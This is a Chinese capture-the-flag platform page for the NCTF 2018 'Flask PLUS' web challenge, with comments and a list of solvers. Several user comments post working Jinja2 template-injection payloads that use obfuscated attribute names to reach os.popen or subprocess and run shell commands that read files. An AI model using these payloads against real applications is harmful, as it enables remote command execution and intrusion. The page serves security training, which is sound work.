Flask PLUSWEB 未解决

分数: 0 金币: 0
所属赛事: NCTF 2018
题目作者: 未知
一  血: harry
一血奖励: 0金币
解  决: 92
提  示:
描  述:
yulige你又写bug了!
评论
zrlht 29天前

搞半天是在url后面写表达式

回复 0

不会编程的崽 11月前

%7B%7B''['__cl'+'ass__']['__ba'+'ses__'][0]['__subc'+'lasses__']()[218]['__in'+'it__']['__glo'+'bals__']['__bu'+'iltins__']['__imp'+'ort__']('o''s')['po''pen']('cat%20/Th1s_is__F1114g').read()%7D%7D

回复 0

minhaf 1年前

{{''["__ssalc__"[::-1]]["__esab__"[::-1]]["__sessalcbus__"[::-1]]()[223]('cat /Th1s_is__F1114g',shell=True,stdout=-1).communicate()[0].strip()}}

回复 0

希卡利 1年前

ssti模板注入,先试试{{7*7}},输出49就是有,再输入{{lipsum.__globals__['o''s']['pop''en']('ls /').read()}}就看到flag了

回复 0

2728462336 2年前

简单的SSTI模板注入

回复 0

WriteUp

image
sean

2 金币

评分(0)

暂无评分

解题动态

捡尽南枝 攻破了该题 11天前
mechatengo 攻破了该题 14天前
zant 攻破了该题 25天前
pinus 攻破了该题 26天前
zrlht 攻破了该题 29天前
xiaodou 攻破了该题 1月前
i8vkmmju 攻破了该题 1月前
Zengan 攻破了该题 1月前
jibabenba 攻破了该题 1月前
caixinggang 攻破了该题 1月前
hdcc1 攻破了该题 1月前
vx606v 攻破了该题 1月前
孙笑川ᒿ58 攻破了该题 1月前
zhatao 攻破了该题 3月前
xyjwkg 攻破了该题 4月前
HamiLemon 攻破了该题 4月前
un 攻破了该题 5月前
tschick 攻破了该题 5月前
sanyeyise 攻破了该题 6月前
qixueying 攻破了该题 6月前
问题反馈